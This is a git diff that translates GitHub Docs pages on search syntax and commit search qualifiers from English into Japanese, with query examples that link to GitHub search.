-| {% data variables.product.prodname_ghe_managed %} | "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/github-ae@latest//search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment#enabling-githubcom-repository-search-from-github-ae)" |
+| Your enterprise environment                         | 詳細情報                                                                                                                                                                                                                                                                                                                                                                  |
+|:--------------------------------------------------- |:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| {% data variables.product.prodname_ghe_server %}  | "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/enterprise-server@latest/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment#enabling-githubcom-repository-search-from-github-enterprise-server)" |
+| {% data variables.product.prodname_ghe_managed %} | "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/github-ae@latest//search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment#enabling-githubcom-repository-search-from-github-ae)"                       |
 
 {% elsif ghes or ghae %}
 
 1. Sign into {% data variables.product.product_name %} and {% data variables.product.prodname_dotcom_the_website %}.
-1. On {% data variables.product.product_name %}, in the upper-right corner of any page, click your profile photo, then click **Settings**.
-![Settings icon in the user bar](/assets/images/help/settings/userbar-account-settings.png)
+1. {% data variables.product.product_name %} にあるページの右上隅でプロフィール画像をクリックしてから、[**Settings**] をクリックします。 ![ユーザバーの [Settings（設定）] アイコン](/assets/images/help/settings/userbar-account-settings.png)
 {% data reusables.github-connect.github-connect-tab-user-settings %}
 {% data reusables.github-connect.connect-dotcom-and-enterprise %}
 {% data reusables.github-connect.connect-dotcom-and-enterprise %}
diff --git a/translations/ja-JP/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md b/translations/ja-JP/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md
index 82108d649c..c5b4af8ca8 100644
--- a/translations/ja-JP/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md
+++ b/translations/ja-JP/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md
@@ -1,6 +1,6 @@
 ---
-title: Understanding the search syntax
-intro: 'When searching {% data variables.product.product_name %}, you can construct queries that match specific numbers and words.'
+title: 検索構文を理解する
+intro: '{% data variables.product.product_name %} の検索では、特定の数字や単語にマッチするクエリを作成できます。'
 redirect_from:
   - /articles/search-syntax
   - /articles/understanding-the-search-syntax
@@ -15,85 +15,86 @@ topics:
   - GitHub search
 shortTitle: Understand search syntax
 ---
-## Query for values greater or less than another value
 
-You can use `>`, `>=`, `<`, and `<=` to search for values that are greater than, greater than or equal to, less than, and less than or equal to another value.
+## ある値より大きいまたは小さい値のクエリ
 
-Query  | Example
-------------- | -------------
-<code>><em>n</em></code> | **[cats stars:>1000](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3E1000&type=Repositories)** matches repositories with the word "cats" that have more than 1000 stars.
-<code>>=<em>n</em></code> | **[cats topics:>=5](https://github.com/search?utf8=%E2%9C%93&q=cats+topics%3A%3E%3D5&type=Repositories)** matches repositories with the word "cats" that have 5 or more topics.
-<code><<em>n</em></code> | **[cats size:<10000](https://github.com/search?utf8=%E2%9C%93&q=cats+size%3A%3C10000&type=Code)** matches code with the word "cats" in files that are smaller than 10 KB.
-<code><=<em>n</em></code> | **[cats stars:<=50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3C%3D50&type=Repositories)** matches repositories with the word "cats" that have 50 or fewer stars.
+`>`、`>=`、`<`、`<=` などを使って、他の値に対する値の大なり、大なりイコール、小なり、または、小なりイコールでの検索を行えます。
 
-You can also use [range queries](#query-for-values-between-a-range) to search for values that are greater than or equal to, or less than or equal to, another value.
+| クエリ                       | サンプル                                                                                                                                                       |
+| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>><em>n</em></code> | **[cats stars:>1000](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3E1000&type=Repositories)** は、1000 を超える Star のある、「cats」という単語があるリポジトリにマッチします。 |
+| <code>>=<em>n</em></code> | **[cats topics:>=5](https://github.com/search?utf8=%E2%9C%93&q=cats+topics%3A%3E%3D5&type=Repositories)** は、トピックが 5 つ以上ある、「cats」という単語のあるリポジトリにマッチします。      |
+| <code><<em>n</em></code> | **[cats size:<10000](https://github.com/search?utf8=%E2%9C%93&q=cats+size%3A%3C10000&type=Code)** は、10 KB より小さいファイルで、「cats」という単語があるコードにマッチします。             |
+| <code><=<em>n</em></code> | **[cats stars:<=50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3C%3D50&type=Repositories)** は、50 以下の Star があり、「cats」という単語のあるリポジトリにマッチします。    |
 
-Query  | Example
-------------- | -------------
-<code><em>n</em>..*</code> | **[cats stars:10..*](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..*&type=Repositories)** is equivalent to `stars:>=10` and matches repositories with the word "cats" that have 10 or more stars.
-<code>*..<em>n</em></code> | **[cats stars:*..10](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%22*..10%22&type=Repositories)** is equivalent to `stars:<=10` and matches repositories with the word "cats" that have 10 or fewer stars.
+他の値に対する値の大なり、大なりイコール、小なり、または、小なりイコールでの検索は、[range queries](#query-for-values-between-a-range) を使って実行することもできます。
 
-## Query for values between a range
+| クエリ                       | サンプル                                                                                                                                                                           |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code><em>n</em>..*</code> | **[cats stars:10..*](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..*&type=Repositories)** は、`stars:>=10` と同様に、10 以上の Star のある、「cats」という単語のあるリポジトリにマッチします。     |
+| <code>*..<em>n</em></code> | **[cats stars:*..10](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%22*..10%22&type=Repositories) は、**`stars:<=10` と同様に、Star が 10 以下で、「cats」という単語のあるリポジトリにマッチします。 |
 
-You can use the range syntax <code><em>n</em>..<em>n</em></code> to search for values within a range, where the first number _n_ is the lowest value and the second is the highest value.
+## 一定範囲にある値のクエリ
 
-Query  | Example
-------------- | -------------
-<code><em>n</em>..<em>n</em></code>  | **[cats stars:10..50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..50&type=Repositories)** matches repositories with the word "cats" that have between 10 and 50 stars.
+<code><em>n</em>..<em>n</em></code> という範囲構文を使って、範囲内の値を検索できます。最初の番号 _n_ が最小値で、二番目が最大値です。
 
-## Query for dates
+| クエリ                       | サンプル                                                                                                                                                            |
+| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code><em>n</em>..<em>n</em></code> | **[cats stars:10..50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..50&type=Repositories)** は、Star が 10 から 50 までの間の数の、「cats」という単語のあるリポジトリにマッチします。 |
 
-You can search for dates that are earlier or later than another date, or that fall within a range of dates, by using `>`, `>=`, `<`, `<=`, and [range queries](#query-for-values-between-a-range). {% data reusables.time_date.date_format %}
+## 日付のクエリ
 
-Query  | Example
-------------- | -------------
-<code>><em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:>2016-04-29](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E2016-04-29&type=Issues)** matches issues with the word "cats" that were created after April 29, 2016.
-<code>>=<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:>=2017-04-01](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E%3D2017-04-01&type=Issues)** matches issues with the word "cats" that were created on or after April 1, 2017.
-<code><<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats pushed:<2012-07-05](https://github.com/search?q=cats+pushed%3A%3C2012-07-05&type=Code&utf8=%E2%9C%93)** matches code with the word "cats" in repositories that were pushed to before July 5, 2012.
-<code><=<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:<=2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3C%3D2012-07-04&type=Issues)** matches issues with the word "cats" that were created on or before July 4, 2012.
-<code><em>YYYY</em>-<em>MM</em>-<em>DD</em>..<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats pushed:2016-04-30..2016-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+pushed%3A2016-04-30..2016-07-04&type=Repositories)** matches repositories with the word "cats" that were pushed to between the end of April and July of 2016.
-<code><em>YYYY</em>-<em>MM</em>-<em>DD</em>..*</code> | **[cats created:2012-04-30..*](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2012-04-30..*&type=Issues)** matches issues created after April 30th, 2012 containing the word "cats."
-<code>*..<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:*..2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A*..2012-07-04&type=Issues)** matches issues created before July 4th, 2012 containing the word "cats."
+`>` 、`>=` 、`<` 、`<=` や [range queries](#query-for-values-between-a-range) を使って、他の日より前または後の日付や、一定の範囲内の日付を検索できます。 {% data reusables.time_date.date_format %}
+
+| クエリ                        | サンプル                                                                                                                                                                                                             |
+| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>><em>YYYY</em>-<em>MM</em>-<em>DD</em></code>  | **[cats created:>2016-04-29](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E2016-04-29&type=Issues)** は、2016 年 4 月 29 日より後に作成された、「cats」という単語のある Issue にマッチします。                                     |
+| <code>>=<em>YYYY</em>-<em>MM</em>-<em>DD</em></code>  | **[cats created:>=2017-04-01](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E%3D2017-04-01&type=Issues)** は、2017 年 4 月 1 日以降に作成された、「cats」という単語を含む Issue にマッチします。                                   |
+| <code><<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats pushed:<2012-07-05](https://github.com/search?q=cats+pushed%3A%3C2012-07-05&type=Code&utf8=%E2%9C%93)** は、2012 年 7 月 5 日より前にプッシュされた、リポジトリに「cats」という単語のあるコードにマッチします。                                      |
+| <code><=<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:<=2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3C%3D2012-07-04&type=Issues)** は、2012 年 7 月 4 日以前に作成された、「cats」という単語のある Issue にマッチします。                                   |
+| <code><em>YYYY</em>-<em>MM</em>-<em>DD</em>..<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats pushed:2016-04-30..2016-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+pushed%3A2016-04-30..2016-07-04&type=Repositories)** は、2016 年 4 月末から 2017 年 7 月 4 日の間にプッシュされた、「cats」という単語のあるリポジトリにマッチします。 |
+| <code><em>YYYY</em>-<em>MM</em>-<em>DD</em>..*</code> | **[cats created:2012-04-30..*](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2012-04-30..*&type=Issues)** は、「cats」という単語を含む、2012 年 4 月 30 日より後に作成された Issue にマッチします。                                   |
+| <code>*..<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:*..2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A*..2012-07-04&type=Issues)** は、「cats」という単語のある、2012 年 7 月 4 日より前に作成された Issue にマッチします。                                    |
 
 {% data reusables.time_date.time_format %}
 
-Query  | Example
-------------- | -------------
-<code><em>YYYY</em>-<em>MM</em>-<em>DD</em>T<em>HH</em>:<em>MM</em>:<em>SS</em>+<em>00</em>:<em>00</em></code> | **[cats created:2017-01-01T01:00:00+07:00..2017-03-01T15:30:15+07:00](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2017-01-01T01%3A00%3A00%2B07%3A00..2017-03-01T15%3A30%3A15%2B07%3A00&type=Issues)** matches issues created between January 1, 2017 at 1 a.m. with a UTC offset of `07:00` and March 1, 2017 at 3 p.m. with a UTC offset of `07:00`.
-<code><em>YYYY</em>-<em>MM</em>-<em>DD</em>T<em>HH</em>:<em>MM</em>:<em>SS</em>Z</code>  | **[cats created:2016-03-21T14:11:00Z..2016-04-07T20:45:00Z](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2016-03-21T14%3A11%3A00Z..2016-04-07T20%3A45%3A00Z&type=Issues)** matches issues created between March 21, 2016 at 2:11pm and April 7, 2106 at 8:45pm.
+| クエリ                        | サンプル                                                                                                                                                                                                                                                                                                                                                                                       |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code><em>YYYY</em>-<em>MM</em>-<em>DD</em>T<em>HH</em>:<em>MM</em>:<em>SS</em>+<em>00</em>:<em>00</em></code> | **[cats created:2017-01-01T01:00:00+07:00..2017-03-01T15:30:15+07:00](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2017-01-01T01%3A00%3A00%2B07%3A00..2017-03-01T15%3A30%3A15%2B07%3A00&type=Issues)** 2017 年 1 月 1 日午前 1 時（世界協定時`+7時間`）と 2017 年 3 月 1 日午後 3 時（世界協定時 `+7時間`）の間に作成された Issue にマッチします。 （世界協定時`+7時間`）と 2017 年 3 月 1 日午後 3 時 （世界協定時 `+7時間`）の間に作成された Issue にマッチします。 |
+| <code><em>YYYY</em>-<em>MM</em>-<em>DD</em>T<em>HH</em>:<em>MM</em>:<em>SS</em>Z</code> | **[cats created:2016-03-21T14:11:00Z..2016-04-07T20:45:00Z](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2016-03-21T14%3A11%3A00Z..2016-04-07T20%3A45%3A00Z&type=Issues)** は、2016 年 3 月 21 日午後 2 時 11 分と 2016 年 4 月 7 日 8 時 45 分の間に作成された Issue にマッチします。                                                                                                                       |
 
-## Exclude certain results
+## 一定の検索結果の除外
 
-You can exclude results containing a certain word, using the `NOT` syntax. The `NOT` operator can only be used for string keywords. It does not work for numerals or dates.
+`NOT` 構文を使うことで、一定の単語を含む検索結果を除外できます。 `NOT` 演算子は、文字列型キーワードに限って使うことができます。 数や日付では機能しません。
 
-Query  | Example
-------------- | -------------
-`NOT`  | **[hello NOT world](https://github.com/search?q=hello+NOT+world&type=Repositories)** matches repositories that have the word "hello" but not the word "world."
+| クエリ   | サンプル                                                                                                                                |
+| ----- | ----------------------------------------------------------------------------------------------------------------------------------- |
+| `NOT` | **[hello NOT world](https://github.com/search?q=hello+NOT+world&type=Repositories)** は、「world」という単語がなく、「hello」という単語のあるリポジトリにマッチします。 |
 
-Another way you can narrow down search results is to exclude certain subsets. You can prefix any search qualifier with a `-` to exclude all results that are matched by that qualifier.
+検索結果を絞り込む他の方法としては、一定のサブセットを除外することです。 `-` のプリフィックスを修飾子に付けることで、その修飾子にマッチする全ての結果を除外できます。
 
-Query  | Example
-------------- | -------------
-<code>-<em>QUALIFIER</em></code>  | **[mentions:defunkt -org:github](https://github.com/search?utf8=%E2%9C%93&q=mentions%3Adefunkt+-org%3Agithub&type=Issues)** matches issues mentioning @defunkt that are not in repositories in the GitHub organization.
+| クエリ                        | サンプル                                                                                                                                                                                                                    |
+| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>-<em>QUALIFIER</em></code> | **[mentions:defunkt -org:github](https://github.com/search?utf8=%E2%9C%93&q=mentions%3Adefunkt+-org%3Agithub&type=Issues)** matches issues mentioning @defunkt that are not in repositories in the GitHub organization. |
 
-## Use quotation marks for queries with whitespace
+## 空白のあるクエリに引用符を使う
 
-If your search query contains whitespace, you will need to surround it with quotation marks. For example:
+検索クエリに空白がある場合は引用府で囲む必要があります。 例:
 
-* [cats NOT "hello world"](https://github.com/search?utf8=✓&q=cats+NOT+"hello+world"&type=Repositories) matches repositories with the word "cats" but not the words "hello world."
-* [build label:"bug fix"](https://github.com/search?utf8=%E2%9C%93&q=build+label%3A%22bug+fix%22&type=Issues) matches issues with the word "build" that have the label "bug fix."
+* [cats NOT "hello world"](https://github.com/search?utf8=✓&q=cats+NOT+"hello+world"&type=Repositories) は、「hello world」という単語がなく、「cats」という単語のあるリポジトリにマッチします。
+* [build label:"bug fix"](https://github.com/search?utf8=%E2%9C%93&q=build+label%3A%22bug+fix%22&type=Issues) は、「bug fix」というラベルがある、「build」という単語のある Issue にマッチします。
 
-Some non-alphanumeric symbols, such as spaces, are dropped from code search queries within quotation marks, so results can be unexpected.
+スペースなど、いくつかの英数字以外の記号は、引用符で囲ったコード検索クエリから省かれるので、結果が予想外のものになる場合があります。
 
 {% ifversion fpt or ghes or ghae or ghec %}
-## Queries with usernames
+## ユーザ名によるクエリ
 
-If your search query contains a qualifier that requires a username, such as `user`, `actor`, or `assignee`, you can use any {% data variables.product.product_name %} username, to specify a specific person, or `@me`, to specify the current user.
+検索クエリに、`user`、`actor`、`assignee`などユーザ名を必要とする修飾子が含まれる場合は、任意の {% data variables.product.product_name %} ユーザ名を使用して特定の個人を指定するか、`@me`を使用して現在のユーザを指定することができます。
 
-Query  | Example
-------------- | -------------
-`QUALIFIER:USERNAME` | [`author:nat`](https://github.com/search?q=author%3Anat&type=Commits) matches commits authored by @nat
-`QUALIFIER:@me` | [`is:issue assignee:@me`](https://github.com/search?q=is%3Aissue+assignee%3A%40me&type=Issues) matches issues assigned to the person viewing the results
+| クエリ                  | サンプル                                                                                                                               |
+| -------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
+| `QUALIFIER:USERNAME` | [`author:nat`](https://github.com/search?q=author%3Anat&type=Commits) は、@nat が書いたコミットにマッチします。                                      |
+| `QUALIFIER:@me`      | [`is:issue assignee:@me`](https://github.com/search?q=is%3Aissue+assignee%3A%40me&type=Issues) は、結果を表示している個人に割り当てられた Issue に一致します。 |
 
-You can only use `@me` with a qualifier and not as search term, such as `@me main.workflow`.
+`@me` は必ず修飾子とともに使用し、`@me main.workflow` のように検索用語としては使用できません。
 {% endif %}
diff --git a/translations/ja-JP/content/search-github/index.md b/translations/ja-JP/content/search-github/index.md
index c2eeff5e6d..a2bd1d0e60 100644
--- a/translations/ja-JP/content/search-github/index.md
+++ b/translations/ja-JP/content/search-github/index.md
@@ -1,5 +1,5 @@
 ---
-title: Searching for information on GitHub
+title: GitHub で情報を検索する
 intro: Use different types of searches to find the information you want.
 redirect_from:
   - /categories/78/articles
diff --git a/translations/ja-JP/content/search-github/searching-on-github/searching-commits.md b/translations/ja-JP/content/search-github/searching-on-github/searching-commits.md
index e0e772a5f7..33ec9800d0 100644
--- a/translations/ja-JP/content/search-github/searching-on-github/searching-commits.md
+++ b/translations/ja-JP/content/search-github/searching-on-github/searching-commits.md
@@ -1,6 +1,6 @@
 ---
-title: Searching commits
-intro: 'You can search for commits on {% data variables.product.product_name %} and narrow the results using these commit search qualifiers in any combination.'
+title: コミットを検索する
+intro: '{% data variables.product.product_name %} 上のコミットを検索することができます。そして、これらのコミットを検索する修飾子を組み合わせることで、検索結果を絞ることができます。'
 redirect_from:
   - /articles/searching-commits
   - /github/searching-for-information-on-github/searching-commits
@@ -13,107 +13,109 @@ versions:
 topics:
   - GitHub search
 ---
-You can search for commits globally across all of {% data variables.product.product_name %}, or search for commits within a particular repository or organization. For more information, see "[About searching on {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)."
 
-When you search for commits, only the [default branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches) of a repository is searched.
+{% data variables.product.product_name %} 全体にわたってグローバルにコミットを検索できます。あるいは、特定のリポジトリや Organization のコミットに限った検索もできます。 詳細は「[{% data variables.product.company_short %} での検索について](/search-github/getting-started-with-searching-on-github/about-searching-on-github)」を参照してください。
+
+コミットを検索する場合、リポジトリの[デフォルトブランチ](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)だけが検索されます。
 
 {% data reusables.search.syntax_tips %}
 
-## Search within commit messages
+## コミットメッセージ内を検索
 
-You can find commits that contain particular words in the message. For example, [**fix typo**](https://github.com/search?q=fix+typo&type=Commits) matches commits containing the words "fix" and "typo."
+メッセージに特定の単語を含むコミットを検索できます。 たとえば、[**fix typo**](https://github.com/search?q=fix+typo&type=Commits) は、「fix」および「typo」という単語を含むコミットにマッチします。
 
-## Search by author or committer
+## オーサーやコミッターで検索
 
-You can find commits by a particular user with the `author` or `committer` qualifiers.
+特定のユーザによるコミットを、`author` 修飾子や `committer` 修飾子を使って検索できます。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>author:<em>USERNAME</em></code> | [**author:defunkt**](https://github.com/search?q=author%3Adefunkt&type=Commits) matches commits authored by @defunkt.
-| <code>committer:<em>USERNAME</em></code> | [**committer:defunkt**](https://github.com/search?q=committer%3Adefunkt&type=Commits) matches commits committed by @defunkt.
+| 修飾子                       | サンプル                                                                                                                 |
+| ------------------------- | -------------------------------------------------------------------------------------------------------------------- |
+| <code>author:<em>USERNAME</em></code> | [**author:defunkt**](https://github.com/search?q=author%3Adefunkt&type=Commits) は、@defunkt が書いたコミットにマッチします。          |
+| <code>committer:<em>USERNAME</em></code> | [**committer:defunkt**](https://github.com/search?q=committer%3Adefunkt&type=Commits) は、@defunkt がコミットしたコミットにマッチします。 |
 
-The `author-name` and `committer-name` qualifiers match commits by the name of the author or committer.
+`author-name` 修飾子や `committer-name` 修飾子は、オーサー名やコミッター名のコミットにマッチします。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>author-name:<em>NAME</em></code> | [**author-name:wanstrath**](https://github.com/search?q=author-name%3Awanstrath&type=Commits) matches commits with "wanstrath" in the author name.
-| <code>committer-name:<em>NAME</em></code> | [**committer-name:wanstrath**](https://github.com/search?q=committer-name%3Awanstrath&type=Commits) matches commits with "wanstrath" in the committer name.
+| 修飾子                       | サンプル                                                                                                                                    |
+| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>author-name:<em>NAME</em></code> | [**author-name:wanstrath**](https://github.com/search?q=author-name%3Awanstrath&type=Commits) は、作者名が「wanstrath」であるコミットにマッチします。          |
+| <code>committer-name:<em>NAME</em></code> | [**committer-name:wanstrath**](https://github.com/search?q=committer-name%3Awanstrath&type=Commits) は、コミッター名が「wanstrath」であるコミットにマッチします。 |
 
-The `author-email` and `committer-email` qualifiers match commits by the author's or committer's full email address.
+`author-email` 修飾子や `committer-email` 修飾子は、作者やコミッターのフルメールアドレスで、コミットにマッチします。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>author-email:<em>EMAIL</em></code> | [**author-email:chris@github.com**](https://github.com/search?q=author-email%3Achris%40github.com&type=Commits) matches commits authored by chris@github.com.
-| <code>committer-email:<em>EMAIL</em></code> | [**committer-email:chris@github.com**](https://github.com/search?q=committer-email%3Achris%40github.com&type=Commits) matches commits committed by chris@github.com.
+| 修飾子                       | サンプル                                                                                                                                                         |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>author-email:<em>EMAIL</em></code> | [**author-email:chris@github.com**](https://github.com/search?q=author-email%3Achris%40github.com&type=Commits) は、chris@github.com が作者であるコミットにマッチします。        |
+| <code>committer-email:<em>EMAIL</em></code> | [**committer-email:chris@github.com**](https://github.com/search?q=committer-email%3Achris%40github.com&type=Commits) は、chris@github.com がコミットしたコミットにマッチします。 |
 
-## Search by authored or committed date
+## オーサー日付やコミット日付で検索
 
-Use the `author-date` and `committer-date` qualifiers to match commits authored or committed within the specified date range.
+`author-date` 修飾子や `committer-date` 修飾子を使うと、特定の期間内に書かれたまたはコミットされたコミットにマッチします。
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>author-date:<em>YYYY-MM-DD</em></code> | [**author-date:&lt;2016-01-01**](https://github.com/search?q=author-date%3A<2016-01-01&type=Commits) matches commits authored before 2016-01-01.
-| <code>committer-date:<em>YYYY-MM-DD</em></code> | [**committer-date:&gt;2016-01-01**](https://github.com/search?q=committer-date%3A>2016-01-01&type=Commits) matches commits committed after 2016-01-01.
+| 修飾子                       | サンプル                                                                                                                                                  |
+| ------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>author-date:<em>YYYY-MM-DD</em></code> | [**author-date:&lt;2016-01-01**](https://github.com/search?q=author-date%3A<2016-01-01&type=Commits) は、2016 年 1 月 1 日より前に作成されたコミットにマッチします。      |
+| <code>committer-date:<em>YYYY-MM-DD</em></code> | [**committer-date:&gt;2016-01-01**](https://github.com/search?q=committer-date%3A>2016-01-01&type=Commits) は、2016 年 1 月 1 日以降に作成されたコミットにマッチします。 |
 
-## Filter merge commits
+## マージコミットのフィルタリング
 
-The `merge` qualifier filters merge commits.
+`merge` 修飾子はマージコミットをフィルタリングします。
 
-| Qualifier  | Example
-| ------------- | -------------
-| `merge:true` | [**merge:true**](https://github.com/search?q=merge%3Atrue&type=Commits) matches merge commits.
-| `merge:false` | [**merge:false**](https://github.com/search?q=merge%3Afalse&type=Commits) matches non-merge commits.
+| 修飾子           | サンプル                                                                                         |
+| ------------- | -------------------------------------------------------------------------------------------- |
+| `merge:true`  | [**merge:true**](https://github.com/search?q=merge%3Atrue&type=Commits) は、マージコミットにマッチします。    |
+| `merge:false` | [**merge:false**](https://github.com/search?q=merge%3Afalse&type=Commits) は、非マージコミットにマッチします。 |
 
-## Search by hash
+## ハッシュで検索
 
-The `hash` qualifier matches commits with the specified SHA-1 hash.
+`hash` 修飾子は、特定の SHA-1 ハッシュのコミットにマッチします。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>hash:<em>HASH</em></code> | [**hash:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=hash%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits) matches commits with the hash `124a9a0ee1d8f1e15e833aff432fbb3b02632105`.
+| 修飾子                       | サンプル                                                                                                                                                                                                                           |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>hash:<em>HASH</em></code> | [**hash:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=hash%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits) は、ハッシュ `124a9a0ee1d8f1e15e833aff432fbb3b02632105` のコミットにマッチします。 |
 
-## Search by parent
+## 親で検索
 
-The `parent` qualifier matches commits whose parent has the specified SHA-1 hash.
+`parent` 修飾子は、親コミットが特定の SHA-1 ハッシュのコミットにマッチします。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>parent:<em>HASH</em></code> | [**parent:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=parent%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits&utf8=%E2%9C%93) matches children of commits with the hash `124a9a0ee1d8f1e15e833aff432fbb3b02632105`.
+| 修飾子                       | サンプル                                                                                                                                                                                                                                               |
+| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>parent:<em>HASH</em></code> | [**parent:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=parent%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits&utf8=%E2%9C%93) は、ハッシュ `124a9a0ee1d8f1e15e833aff432fbb3b02632105` の子コミットにマッチします。 |
 
-## Search by tree
+## ツリーで検索
 
-The `tree` qualifier matches commits with the specified SHA-1 git tree hash.
+`tree` 修飾子は、特定の SHA-1 Git ツリーハッシュのコミットにマッチします。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>tree:<em>HASH</em></code> | [**tree:99ca967**](https://github.com/github/gitignore/search?q=tree%3A99ca967&type=Commits) matches commits that refer to the tree hash `99ca967`.
+| 修飾子                        | サンプル                                                                                                                               |
+| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
+| <code>tree:<em>HASH</em></code> | [**tree:99ca967**](https://github.com/github/gitignore/search?q=tree%3A99ca967&type=Commits) は、ツリーハッシュ `99ca967` を参照するコミットにマッチします。 |
 
-## Search within a user's or organization's repositories
+## ユーザまたは Organization のリポジトリ内の検索
 
-To search commits in all repositories owned by a certain user or organization, use the `user` or `org` qualifier. To search commits in a specific repository, use the `repo` qualifier.
+特定のユーザまたは Organization のすべてのリポジトリのコミットを検索するには、`user` 修飾子または `org` 修飾子を使います。 特定のリポジトリのコミットを検索するには、`repo` 修飾子を使用します。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>user:<em>USERNAME</em></code> | [**gibberish user:defunkt**](https://github.com/search?q=gibberish+user%3Adefunkt&type=Commits&utf8=%E2%9C%93) matches commit messages with the word "gibberish" in repositories owned by @defunkt.
-| <code>org:<em>ORGNAME</em></code> | [**test org:github**](https://github.com/search?utf8=%E2%9C%93&q=test+org%3Agithub&type=Commits) matches commit messages with the word "test" in repositories owned by @github.
-| <code>repo:<em>USERNAME/REPO</em></code> | [**language repo:defunkt/gibberish**](https://github.com/search?utf8=%E2%9C%93&q=language+repo%3Adefunkt%2Fgibberish&type=Commits) matches commit messages with the word "language" in @defunkt's "gibberish" repository.
+| 修飾子                        | サンプル                                                                                                                                                                                                  |
+| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>user:<em>USERNAME</em></code> | [**gibberish user:defunkt**](https://github.com/search?q=gibberish+user%3Adefunkt&type=Commits&utf8=%E2%9C%93) は、@defunkt が保有するリポジトリの「gibberish」という単語があるコミットメッセージにマッチします。                             |
